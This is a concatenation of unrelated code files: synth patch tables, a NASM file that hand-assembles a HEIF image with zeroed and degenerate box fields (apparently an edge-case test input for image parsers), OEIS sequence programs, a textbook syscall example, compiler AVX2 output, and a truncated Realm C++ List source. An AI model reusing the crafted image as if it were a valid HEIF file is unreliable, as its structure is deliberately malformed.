$0F, $0F spTotalLv $0A, $00, $0A, $00 ; Patch $19 ; $3A ; $31, $37, $31, $31, $8D, $8D, $8E, $53 ; $0E, $0E, $0E, $03, $00, $00, $00, $00 ; $1F, $FF, $1F, $0F, $17, $28, $26, $80 spAlgorithm $02 spFeedback $07 spDetune $03, $03, $03, $03 spMultiple $01, $01, $07, $01 spRateScale $02, $02, $02, $01 spAttackRt $0D, $0E, $0D, $13 spAmpMod $00, $00, $00, $00 spSustainRt $0E, $0E, $0E, $03 spSustainLv $01, $01, $0F, $00 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $17, $26, $28, $00 ; Patch $1A ; $3B ; $3A, $31, $71, $74, $DF, $1F, $1F, $DF ; $00, $0A, $0A, $05, $00, $05, $05, $03 ; $0F, $5F, $1F, $5F, $32, $1E, $0F, $80 spAlgorithm $03 spFeedback $07 spDetune $03, $07, $03, $07 spMultiple $0A, $01, $01, $04 spRateScale $03, $00, $00, $03 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $00, $0A, $0A, $05 spSustainLv $00, $01, $05, $05 spDecayRt $00, $05, $05, $03 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $32, $0F, $1E, $00 ; Patch $1B ; $3A ; $32, $56, $32, $42, $8D, $4F, $15, $52 ; $06, $08, $07, $04, $02, $00, $00, $00 ; $1F, $1F, $2F, $2F, $19, $20, $2A, $80 spAlgorithm $02 spFeedback $07 spDetune $03, $03, $05, $04 spMultiple $02, $02, $06, $02 spRateScale $02, $00, $01, $01 spAttackRt $0D, $15, $0F, $12 spAmpMod $00, $00, $00, $00 spSustainRt $06, $07, $08, $04 spSustainLv $01, $02, $01, $02 spDecayRt $02, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $19, $2A, $20, $00 ; Patch $1C ; $2C ; $71, $74, $32, $32, $1F, $12, $1F, $12 ; $00, $0A, $00, $0A, $00, $00, $00, $00 ; $0F, $1F, $0F, $1F, $16, $80, $17, $80 spAlgorithm $04 spFeedback $05 spDetune $07, $03, $07, $03 spMultiple $01, $02, $04, $02 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $12, $12 spAmpMod $00, $00, $00, $00 spSustainRt $00, $00, $0A, $0A spSustainLv $00, $00, $01, $01 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $16, $17, $00, $00 ; Patch $1D ; $3A ; $01, $07, $01, $01, $8E, $8E, $8D, $53 ; $0E, $0E, $0E, $03, $00, $00, $00, $07 ; $1F, $FF, $1F, $0F, $18, $28, $27, $8F spAlgorithm $02 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $01, $07, $01 spRateScale $02, $02, $02, $01 spAttackRt $0E, $0D, $0E, $13 spAmpMod $00, $00, $00, $00 spSustainRt $0E, $0E, $0E, $03 spSustainLv $01, $01, $0F, $00 spDecayRt $00, $00, $00, $07 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $18, $27, $28, $0F ; Patch $1E ; $36 ; $7A, $32, $51, $11, $1F, $1F, $59, $1C ; $0A, $0D, $06, $0A, $07, $00, $02, $02 ; $AF, $5F, $5F, $5F, $1E, $8B, $81, $80 spAlgorithm $06 spFeedback $06 spDetune $07, $05, $03, $01 spMultiple $0A, $01, $02, $01 spRateScale $00, $01, $00, $00 spAttackRt $1F, $19, $1F, $1C spAmpMod $00, $00, $00, $00 spSustainRt $0A, $06, $0D, $0A spSustainLv $0A, $05, $05, $05 spDecayRt $07, $02, $00, $02 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $1E, $01, $0B, $00 ; Patch $1F ; $3C ; $71, $72, $3F, $34, $8D, $52, $9F, $1F ; $09, $00, $00, $0D, $00, $00, $00, $00 ; $23, $08, $02, $F7, $15, $85, $1D, $8A spAlgorithm $04 spFeedback $07 spDetune $07, $03, $07, $03 spMultiple $01, $0F, $02, $04 spRateScale $02, $02, $01, $00 spAttackRt $0D, $1F, $12, $1F spAmpMod $00, $00, $00, $00 spSustainRt $09, $00, $00, $0D spSustainLv $02, $00, $00, $0F spDecayRt $00, $00, $00, $00 spReleaseRt $03, $02, $08, $07 spTotalLv $15, $1D, $05, $0A ; Patch $20 ; $3E ; $77, $71, $32, $31, $1F, $1F, $1F, $1F ; $0D, $06, $00, $00, $08, $06, $00, $00 ; $15, $0A, $0A, $0A, $1B, $8F, $8F, $8F spAlgorithm $06 spFeedback $07 spDetune $07, $03, $07, $03 spMultiple $07, $02, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0D, $00, $06, $00 spSustainLv $01, $00, $00, $00 spDecayRt $08, $00, $06, $00 spReleaseRt $05, $0A, $0A, $0A spTotalLv $1B, $0F, $0F, $0F ; Patch $21 ; $07 ; $34, $74, $32, $71, $1F, $1F, $1F, $1F ; $0A, $0A, $05, $03, $00, $00, $00, $00 ; $3F, $3F, $2F, $2F, $8A, $8A, $8A, $8A spAlgorithm $07 spFeedback $00 spDetune $03, $03, $07, $07 spMultiple $04, $02, $04, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0A, $05, $0A, $03 spSustainLv $03, $02, $03, $02 spDecayRt $00, $00, $00, $00 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $0A, $0A, $0A, $0A
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24)) ftyp_start: dd BE(ftyp_end - ftyp_start) dd "ftyp" db 0x68, 0x65, 0x69, 0x63 ; "major_brand(32)" ('heic') db 0x00, 0x00, 0x00, 0x00 ; "minor_version(32)" db 0x6D, 0x69, 0x66, 0x31 ; "compatible_brand(32)" ('mif1') db 0x68, 0x65, 0x69, 0x63 ; "compatible_brand(32)" ('heic') db 0x6D, 0x69, 0x61, 0x66 ; "compatible_brand(32)" ('miaf') ftyp_end: meta_start: dd BE(meta_end - meta_start) dd "meta" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" hdlr_start: dd BE(hdlr_end - hdlr_start) dd "hdlr" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x00, 0x00 ; "pre_defined(32)" db 0x70, 0x69, 0x63, 0x74 ; "handler_type(32)" ('pict') db 0x00, 0x00, 0x00, 0x00 ; "reserved1(32)" db 0x00, 0x00, 0x00, 0x00 ; "reserved2(32)" db 0x00, 0x00, 0x00, 0x00 ; "reserved3(32)" db 0x00 ; "name(8)" db 0x00 ; "name(8)" hdlr_end: dinf_start: dd BE(dinf_end - dinf_start) dd "dinf" dref_start: dd BE(dref_end - dref_start) dd "dref" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x00, 0x01 ; "entry_count(32)" url_start: dd BE(url_end - url_start) dd "url " db 0x00 ; "version(8)" db 0x00, 0x00, 0x01 ; "flags(24)" url_end: dref_end: dinf_end: pitm_start: dd BE(pitm_end - pitm_start) dd "pitm" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x01 ; "item_ID(16)" pitm_end: iinf_start: dd BE(iinf_end - iinf_start) dd "iinf" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x02 ; "entry_count(16)" infe_start: dd BE(infe_end - infe_start) dd "infe" db 0x02 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x01 ; "item_ID(16)" db 0x00, 0x00 ; "item_protection_index(16)" db 0x68, 0x76, 0x63, 0x31 ; "item_type(32)" ('hvc1') db 0x00 ; "item_name(8)" infe_end: infe2_start: dd BE(infe2_end - infe2_start) dd "infe" db 0x02 ; "version(8)" db 0x00, 0x00, 0x01 ; "flags(24)" db 0x00, 0x02 ; "item_ID(16)" db 0x00, 0x00 ; "item_protection_index(16)" db 0x6D, 0x69, 0x6D, 0x65 ; "item_type(32)" ('mime') db 0x00 ; "item_name(8)" db 0x61 ; "content_type(8)" ('a') db 0x70 ; "content_type(8)" ('p') db 0x70 ; "content_type(8)" ('p') db 0x6C ; "content_type(8)" ('l') db 0x69 ; "content_type(8)" ('i') db 0x63 ; "content_type(8)" ('c') db 0x61 ; "content_type(8)" ('a') db 0x74 ; "content_type(8)" ('t') db 0x69 ; "content_type(8)" ('i') db 0x6F ; "content_type(8)" ('o') db 0x6E ; "content_type(8)" ('n') db 0x2F ; "content_type(8)" ('/') db 0x72 ; "content_type(8)" ('r') db 0x64 ; "content_type(8)" ('d') db 0x66 ; "content_type(8)" ('f') db 0x2B ; "content_type(8)" ('+') db 0x78 ; "content_type(8)" ('x') db 0x6D ; "content_type(8)" ('m') db 0x6C ; "content_type(8)" ('l') db 0x00 ; "content_type(8)" infe2_end: iinf_end: iref_start: dd BE(iref_end - iref_start) dd "iref" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x00, 0x0E ; "box_size(32)" db 0x63, 0x64, 0x73, 0x63 ; "box_type(32)" ('cdsc') db 0x00, 0x02 ; "from_item_ID(16)" db 0x00, 0x01 ; "reference_count(16)" db 0x00, 0x01 ; "to_item_ID(16)" iref_end: iprp_start: dd BE(iprp_end - iprp_start) dd "iprp" ipco_start: dd BE(ipco_end - ipco_start) dd "ipco" hvcC_start: dd BE(hvcC_end - hvcC_start) dd "hvcC" db 0x01 ; "configurationVersion(8)" db 0x03 ; "general_profile_space(2)" "general_tier_flag(1)" "general_profile_idc(5)" db 0x00, 0x00, 0x00, 0x0E ; "general_profile_compatibility_flags(32)" db 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00 ; "general_constraint_indicator_flags(48)" db 0x5A ; "general_level_idc(8)" ('Z') db 0xF0, 0x00 ; "reserved(4)" "min_spatial_segmentation_idc(12)" db 0xFC ; "reserved(6)" "parallelismType(2)" db 0xFC ; "reserved(6)" "chroma_format_idc(2)" db 0xF8 ; "reserved(5)" "bit_depth_luma_minus8(3)" db 0xF8 ; "reserved(5)" "bit_depth_chroma_minus8(3)" db 0x00, 0x00 ; "avgFrameRate(16)" db 0x0F ; "constantFrameRate(2)" "numTemporalLayers(3)" "temporalIdNested(1)" "lengthSizeMinusOne(2)" db 0x03 ; "numOfArrays(8)" db 0xA0 ; "array_completeness(1)" "reserved(1)" "NAL_unit_type(6)" db 0x00, 0x01 ; "numNalus(16)" db 0x00, 0x17 ; "nalUnitLength(16)" db 0x40 ; "nalUnit(8)" ('@') db 0x01 ; "nalUnit(8)" db 0x0C ; "nalUnit(8)" db 0x01 ; "nalUnit(8)" db 0xFF ; "nalUnit(8)" db 0xFF ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x70 ; "nalUnit(8)" ('p') db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0xB0 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x5A ; "nalUnit(8)" ('Z') db 0x70 ; "nalUnit(8)" ('p') db 0x24 ; "nalUnit(8)" ('$') db 0xA1 ; "array_completeness(1)" "reserved(1)" "NAL_unit_type(6)" db 0x00, 0x01 ; "numNalus(16)" db 0x00, 0x1F ; "nalUnitLength(16)" db 0x42 ; "nalUnit(8)" ('B') db 0x01 ; "nalUnit(8)" db 0x01 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x70 ; "nalUnit(8)" ('p') db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0xB0 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x03 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x5A ; "nalUnit(8)" ('Z') db 0xA0 ; "nalUnit(8)" db 0x02 ; "nalUnit(8)" db 0x00 ; "nalUnit(8)" db 0x80 ; "nalUnit(8)" db 0x20 ; "nalUnit(8)" (' ') db 0x16 ; "nalUnit(8)" db 0x77 ; "nalUnit(8)" ('w') db 0x92 ; "nalUnit(8)" db 0x44 ; "nalUnit(8)" ('D') db 0x8A ; "nalUnit(8)" db 0x26 ; "nalUnit(8)" ('&') db 0xC0 ; "nalUnit(8)" db 0x10 ; "nalUnit(8)" db 0xA2 ; "array_completeness(1)" "reserved(1)" "NAL_unit_type(6)" db 0x00, 0x01 ; "numNalus(16)" db 0x00, 0x08 ; "nalUnitLength(16)" db 0x44 ; "nalUnit(8)" ('D') db 0x01 ; "nalUnit(8)" db 0xC0 ; "nalUnit(8)" db 0x63 ; "nalUnit(8)" ('c') db 0x49 ; "nalUnit(8)" ('I') db 0x30 ; "nalUnit(8)" ('0') db 0x53 ; "nalUnit(8)" ('S') db 0x24 ; "nalUnit(8)" ('$') hvcC_end: ispe_start: dd BE(ispe_end - ispe_start) dd "ispe" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x04, 0x00 ; "image_width(32)" db 0x00, 0x00, 0x02, 0x00 ; "image_height(32)" ispe_end: pixi_start: dd BE(pixi_end - pixi_start) dd "pixi" pixi_end: clap_start: dd BE(clap_end - clap_start) dd "clap" db 0x00, 0x00, 0x00, 0x00 ; "cleanApertureWidthN(32)" db 0x00, 0x00, 0x00, 0x01 ; "cleanApertureWidthD(32)" db 0x00, 0x00, 0x00, 0x00 ; "cleanApertureHeightN(32)" db 0x00, 0x00, 0x00, 0x01 ; "cleanApertureHeightD(32)" db 0x00, 0x00, 0x00, 0x00 ; "horizOffN(32)" db 0x00, 0x00, 0x00, 0x01 ; "horizOffD(32)" db 0x00, 0x00, 0x00, 0x00 ; "vertOffN(32)" db 0x00, 0x00, 0x00, 0x01 ; "vertOffD(32)" clap_end: imir_start: dd BE(imir_end - imir_start) dd "imir" imir_end: ipco_end: ipma_start: dd BE(ipma_end - ipma_start) dd "ipma" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x00, 0x01 ; "entry_count(32)" db 0x00, 0x01 ; "item_ID(16)" db 0x05 ; "association_count(8)" db 0x81 ; "essential(1)" "property_index(7)" db 0x02 ; "essential(1)" "property_index(7)" db 0x03 ; "essential(1)" "property_index(7)" db 0x84 ; "essential(1)" "property_index(7)" db 0x85 ; "essential(1)" "property_index(7)" ipma_end: iprp_end: iloc_start: dd BE(iloc_end - iloc_start) dd "iloc" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x44 ; "offset_size(4)" ('D') "length_size(4)" ('D') db 0x00 ; "base_offset_size(4)" "reserved1(4)" db 0x00, 0x02 ; "item_count(16)" db 0x00, 0x01 ; "item_ID(16)" db 0x00, 0x00 ; "data_reference_index(16)" db 0x00, 0x01 ; "extent_count(16)" dd BE(mdat_start - ftyp_start + 8) ; "extent_offset(32)" db 0x00, 0x00, 0x00, 0x00 ; "extent_length(32)" db 0x00, 0x02 ; "item_ID(16)" db 0x00, 0x00 ; "data_reference_index(16)" db 0x00, 0x01 ; "extent_count(16)" dd BE(mdat_start - ftyp_start + 8) ; "extent_offset(32)" db 0x00, 0x00, 0x00, 0x00 ; "extent_length(32)" iloc_end: meta_end: mdat_start: dd BE(mdat_end - mdat_start) dd "mdat" db 0x00 mdat_end: ; vim: syntax=nasm
; A186382: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f(i)=4i and g(j)=j(j+1)/2 (triangular number). Complement of A186381. ; 1,2,4,6,8,11,13,16,20,23,27,31,35,40,44,49,55,60,66,72,78,85,91,98,106,113,121,129,137,146,154,163,173,182,192,202,212,223,233,244,256,267,279,291,303,316,328,341,355,368,382,396,410,425,439,454,470,485,501,517,533,550,566,583,601,618,636,654,672,691,709,728,748,767,787,807,827,848,868,889,911,932,954,976,998,1021,1043,1066,1090 add $0,6 bin $0,2 sub $0,11 div $0,4
; A185170: a(n) = floor( (2*n^2 - 6*n + 9) / 5). ; 1,1,1,1,3,5,9,13,17,23,29,37,45,53,63,73,85,97,109,123,137,153,169,185,203,221,241,261,281,303,325,349,373,397,423,449,477,505,533,563,593,625,657,689,723,757,793,829,865,903,941,981,1021,1061,1103,1145,1189,1233,1277,1323,1369,1417,1465,1513,1563,1613,1665,1717,1769,1823,1877,1933,1989,2045,2103,2161,2221,2281,2341,2403,2465,2529,2593,2657,2723,2789,2857,2925,2993,3063,3133,3205,3277,3349,3423,3497,3573,3649,3725,3803,3881,3961,4041,4121,4203,4285,4369,4453,4537,4623,4709,4797,4885,4973,5063,5153,5245,5337,5429,5523,5617,5713,5809,5905,6003,6101,6201,6301,6401,6503,6605,6709,6813,6917,7023,7129,7237,7345,7453,7563,7673,7785,7897,8009,8123,8237,8353,8469,8585,8703,8821,8941,9061,9181,9303,9425,9549,9673,9797,9923,10049,10177,10305,10433,10563,10693,10825,10957,11089,11223,11357,11493,11629,11765,11903,12041,12181,12321,12461,12603,12745,12889,13033,13177,13323,13469,13617,13765,13913,14063,14213,14365,14517,14669,14823,14977,15133,15289,15445,15603,15761,15921,16081,16241,16403,16565,16729,16893,17057,17223,17389,17557,17725,17893,18063,18233,18405,18577,18749,18923,19097,19273,19449,19625,19803,19981,20161,20341,20521,20703,20885,21069,21253,21437,21623,21809,21997,22185,22373,22563,22753,22945,23137,23329,23523,23717,23913,24109,24305,24503 sub $0,1 bin $0,2 mul $0,2 mov $1,$0 div $1,5 mul $1,2 add $1,1
; Program 10.2 ; Debug and System Write Interrupts - NASM (32-bit) ; Copyright (c) 2017 Hall & Slonka section .data output: DB "Computer Architecture",0Ah len: EQU ($ - output) section .text global _main _main: ; Print "Computer Architecture" ;int 3h ; Set breakpoint (remove if desired) mov ebx, 1 ; File descriptor STDOUT (1) mov ecx, output ; String address mov edx, len ; String length mov eax, 4 ; Use SYSCALL 4 (WRITE), prints to screen int 80h ; system call interrupt mov eax, 1 ; call number for exit mov ebx, 0 ; return value int 80h ; system call interrupt
; A011960: Number of ferrites M_2Y_n that repeat after 6n+10 layers. ; 0,1,1,1,1,2,1,2,2,2,2,3,2,3,3,3,3,4,3,4 mov $1,$0 add $0,1 div $0,2 div $1,3 sub $0,$1
__ymm@2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a DB '*' DB '*******************************' __ymm@0000002a0000002a0000002a0000002a0000002a0000002a0000002a0000002a DB '*' DB 00H, 00H, 00H, '*', 00H, 00H, 00H, '*', 00H, 00H, 00H, '*', 00H DB 00H, 00H, '*', 00H, 00H, 00H, '*', 00H, 00H, 00H, '*', 00H, 00H DB 00H, '*', 00H, 00H, 00H _x$ = 8 ; size = 1 int <lambda_f3afbc86506e0312b90066281c1f0bbd>::operator()(signed char)const PROC ; <lambda_f3afbc86506e0312b90066281c1f0bbd>::operator(), COMDAT movsx eax, BYTE PTR _x$[esp-4] add eax, 42 ; 0000002aH ret 4 int <lambda_f3afbc86506e0312b90066281c1f0bbd>::operator()(signed char)const ENDP ; <lambda_f3afbc86506e0312b90066281c1f0bbd>::operator() _x$ = 8 ; size = 4 int <lambda_9e76ea6a3a10c252a1a3eb944ba013e5>::operator()(int)const PROC ; <lambda_9e76ea6a3a10c252a1a3eb944ba013e5>::operator(), COMDAT mov eax, DWORD PTR _x$[esp-4] add eax, 42 ; 0000002aH ret 4 int <lambda_9e76ea6a3a10c252a1a3eb944ba013e5>::operator()(int)const ENDP ; <lambda_9e76ea6a3a10c252a1a3eb944ba013e5>::operator() _v$ = 8 ; size = 4 void transform_inc_epi32(std::vector<int,std::allocator<int> > &) PROC ; transform_inc_epi32, COMDAT mov ecx, DWORD PTR _v$[esp-4] push ebx push esi push edi mov edi, DWORD PTR [ecx+4] xor ebx, ebx mov eax, DWORD PTR [ecx] mov esi, edi sub esi, eax xor ecx, ecx add esi, 3 mov edx, eax shr esi, 2 cmp eax, edi cmova esi, ecx test esi, esi je SHORT $LN31@transform_ cmp esi, 32 ; 00000020H jb SHORT $LN31@transform_ lea ecx, DWORD PTR [eax-4] lea ecx, DWORD PTR [ecx+esi*4] cmp eax, ecx jbe SHORT $LN31@transform_ vmovdqu ymm1, YMMWORD PTR __ymm@0000002a0000002a0000002a0000002a0000002a0000002a0000002a0000002a and esi, -32 ; ffffffe0H npad 1 $LL24@transform_: vpaddd ymm0, ymm1, YMMWORD PTR [eax] vmovdqu YMMWORD PTR [edx], ymm0 vpaddd ymm0, ymm1, YMMWORD PTR [eax+32] vmovdqu YMMWORD PTR [edx+32], ymm0 vpaddd ymm0, ymm1, YMMWORD PTR [eax+64] vmovdqu YMMWORD PTR [edx+64], ymm0 vpaddd ymm0, ymm1, YMMWORD PTR [eax+96] vmovdqu YMMWORD PTR [edx+96], ymm0 add ebx, 32 ; 00000020H sub edx, -128 ; ffffff80H sub eax, -128 ; ffffff80H cmp ebx, esi jne SHORT $LL24@transform_ $LN31@transform_: cmp eax, edi je SHORT $LN23@transform_ sub edx, eax npad 7 $LL30@transform_: mov ecx, DWORD PTR [eax] add ecx, 42 ; 0000002aH mov DWORD PTR [edx+eax], ecx add eax, 4 cmp eax, edi jne SHORT $LL30@transform_ $LN23@transform_: pop edi pop esi pop ebx vzeroupper ret 0 void transform_inc_epi32(std::vector<int,std::allocator<int> > &) ENDP ; transform_inc_epi32 _v$ = 8 ; size = 4 void transform_inc_epi8(std::vector<signed char,std::allocator<signed char> > &) PROC ; transform_inc_epi8, COMDAT mov ecx, DWORD PTR _v$[esp-4] push ebx push esi push edi mov edi, DWORD PTR [ecx+4] xor ebx, ebx mov eax, DWORD PTR [ecx] mov esi, edi sub esi, eax xor ecx, ecx cmp eax, edi mov edx, eax cmova esi, ecx test esi, esi je SHORT $LN33@transform_ cmp esi, 128 ; 00000080H jb SHORT $LN33@transform_ lea ecx, DWORD PTR [eax-1] add ecx, esi cmp eax, ecx jbe SHORT $LN33@transform_ vmovdqu ymm1, YMMWORD PTR __ymm@2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a and esi, -128 ; ffffff80H npad 5 $LL24@transform_: vpaddb ymm0, ymm1, YMMWORD PTR [eax] vmovdqu YMMWORD PTR [edx], ymm0 vpaddb ymm0, ymm1, YMMWORD PTR [eax+32] vmovdqu YMMWORD PTR [edx+32], ymm0 vpaddb ymm0, ymm1, YMMWORD PTR [eax+64] vmovdqu YMMWORD PTR [edx+64], ymm0 vpaddb ymm0, ymm1, YMMWORD PTR [eax+96] vmovdqu YMMWORD PTR [edx+96], ymm0 sub ebx, -128 ; ffffff80H sub edx, -128 ; ffffff80H sub eax, -128 ; ffffff80H cmp ebx, esi jne SHORT $LL24@transform_ $LN33@transform_: cmp eax, edi je SHORT $LN23@transform_ sub edx, eax npad 7 $LL32@transform_: mov cl, BYTE PTR [eax] add cl, 42 ; 0000002aH mov BYTE PTR [edx+eax], cl inc eax cmp eax, edi jne SHORT $LL32@transform_ $LN23@transform_: pop edi pop esi pop ebx vzeroupper ret 0 void transform_inc_epi8(std::vector<signed char,std::allocator<signed char> > &) ENDP ; transform_inc_epi8
//////////////////////////////////////////////////////////////////////////// // // Copyright 2015 Realm Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //////////////////////////////////////////////////////////////////////////// #include "list.hpp" #include "impl/list_notifier.hpp" #include "impl/primitive_list_notifier.hpp" #include "impl/realm_coordinator.hpp" #include "object_schema.hpp" #include "object_store.hpp" #include "results.hpp" #include "schema.hpp" #include "shared_realm.hpp" #include "util/format.hpp" #include <realm/link_view.hpp> namespace realm { using namespace realm::_impl; List::List() noexcept = default; List::~List() = default; List::List(const List&) = default; List& List::operator=(const List&) = default; List::List(List&&) = default; List& List::operator=(List&&) = default; List::List(std::shared_ptr<Realm> r, Table& parent_table, size_t col, size_t row) : m_realm(std::move(r)) { auto type = parent_table.get_column_type(col); REALM_ASSERT(type == type_LinkList || type == type_Table); if (type == type_LinkList) { m_link_view = parent_table.get_linklist(col, row); m_table.reset(&m_link_view->get_target_table()); } else { m_table = parent_table.get_subtable(col, row); } } List::List(std::shared_ptr<Realm> r, LinkViewRef l) noexcept : m_realm(std::move(r)) , m_link_view(std::move(l)) { m_table.reset(&m_link_view->get_target_table()); } List::List(std::shared_ptr<Realm> r, TableRef t) noexcept : m_realm(std::move(r)) , m_table(std::move(t)) { } static StringData object_name(Table const& table) { return ObjectStore::object_type_for_table_name(table.get_name()); } ObjectSchema const& List::get_object_schema() const { verify_attached(); REALM_ASSERT(m_link_view); if (!m_object_schema) { REALM_ASSERT(get_type() == PropertyType::Object); auto object_type = object_name(m_link_view->get_target_table()); auto it = m_realm->schema().find(object_type); REALM_ASSERT(it != m_realm->schema().end()); m_object_schema = &*it; } return *m_object_schema; } Query List::get_query() const { verify_attached(); return m_link_view ? m_table->where(m_link_view) : m_table->where(); } size_t List::get_origin_row_index() const { verify_attached(); return m_link_view ? m_link_view->get_origin_row_index() : m_table->get_parent_row_index(); } void List::verify_valid_row(size_t row_ndx, bool insertion) const { size_t s = size(); if (row_ndx > s || (!insertion && row_ndx == s)) { throw OutOfBoundsIndexException{row_ndx, s + insertion}; } } void List::validate(RowExpr row) const { if (!row.is_attached()) throw std::invalid_argument("Object has been deleted or invalidated"); if (row.get_table() != &m_link_view->get_target_table()) throw std::invalid_argument(util::format("Object of type (%1) does not match List type (%2)", object_name(*row.get_table()), object_name(m_link_view->get_target_table()))); } bool List::is_valid() const { if (!m_realm) return false; m_realm->verify_thread(); if (m_link_view) return m_link_view->is_attached(); return m_table && m_table->is_attached(); } void List::verify_attached() const { if (!is_valid()) { throw InvalidatedException(); } } void List::verify_in_transaction() const { verify_attached(); m_realm->verify_in_write(); } size_t List::size() const { verify_attached(); return m_link_view ? m_link_view->size() : m_table->size(); } size_t List::to_table_ndx(size_t row) const noexcept { return m_link_view ? m_link_view->get(row).get_index() : row; } PropertyType List::get_type() const { verify_attached(); return m_link_view ? PropertyType::Object : ObjectSchema::from_core_type(*m_table->get_descriptor(), 0); } namespace { template<typename T> auto get(Table& table, size_t row) { return table.get<T>(0, row); } template<> auto get<RowExpr>(Table& table, size_t row) { return table.get(row); } } template<typename T> T List::get(size_t row_ndx) const { verify_valid_row(row_ndx); return realm::get<T>(*m_table, to_table_ndx(row_ndx)); } template RowExpr List::get(size_t) const; template<typename T> size_t List::find(T const& value) const { verify_attached(); return m_table->find_first(0, value); } template<> size_t List::find(RowExpr const& row) const { verify_attached(); if (!row.is_attached()) return not_found; validate(row); return m_link_view ? m_link_view->find(row.get_index()) : row.get_index(); } size_t List::find(Query&& q) const { verify_attached(); if (m_link_view) { size_t index = get_query().and_query(std::move(q)).find(); return index == not_found ? index : m_link_view->find(index); } return q.find(); } template<typename T> void List::add(T value) { verify_in_transaction(); m_table->set(0, m_table->add_empty_row(), value); } template<> void List::add(size_t target_row_ndx) { verify_in_transaction(); m_link_view->add(target_row_ndx); } template<> void List::add(RowExpr row) { validate(row); add(row.get_index()); } template<> void List::add(int value) { verify_in_transaction(); if (m_link_view) add(static_cast<size_t>(value)); else add(static_cast<int64_t>(value)); } template<typename T> void List::insert(size_t row_ndx, T value) { verify_in_transaction(); verify_valid_row(row_ndx, true); m_table->insert_empty_row(row_ndx); m_table->set(0, row_ndx, value); } template<> void List::insert(size_t row_ndx, size_t target_row_ndx) { verify_in_transaction(); verify_valid_row(row_ndx, true); m_link_view->insert(row_ndx, target_row_ndx); } template<> void List::insert(size_t row_ndx, RowExpr row) { validate(row); insert(row_ndx, row.get_index()); } void List::move(size_t source_ndx, size_t dest_ndx) { verify_in_transaction(); verify_valid_row(source_ndx); verify_valid_row(dest_ndx); // Can't be one past end due to removing one earlier if (source_ndx == dest_ndx) return; if (m_link_view) m_link_view->move(source_ndx, dest_ndx); else { #if (REALM_VERSION_MAJOR >= 4) // Core 4.0 and up has Table::move_row for use on subtables m_table->move_row(source_ndx, dest_ndx); #else // Older versions of Core requires emulation using swap_rows(). // If to and from are next to each other we can just swap instead if (source_ndx == dest_ndx + 1 || dest_ndx == source_ndx + 1) { m_table->swap_rows(source_ndx, dest_ndx); return; } // Adjust the row indexes to compensate for the temporary row used if (source_ndx > dest_ndx) ++source_ndx; else ++dest_ndx; m_table->insert_empty_row(dest_ndx); m_table->swap_rows(source_ndx, dest_ndx); m_table->remove(source_ndx); #endif } } void List::remove(size_t row_ndx) { verify_in_transaction(); verify_valid_row(row_ndx); if (m_link_view) m_link_view->remove(row_ndx); else m_table->remove(row_ndx); } void List::remove_all() { verify_in_transaction(); if (m_link_view) m_link_view->clear(); else m_table->clear(); } template<typename T> void List::set(size_t row_ndx, T value) { verify_in_transaction(); verify_valid_row(row_ndx); m_table->set(0, row_ndx, value); } template<> void List::set(size_t 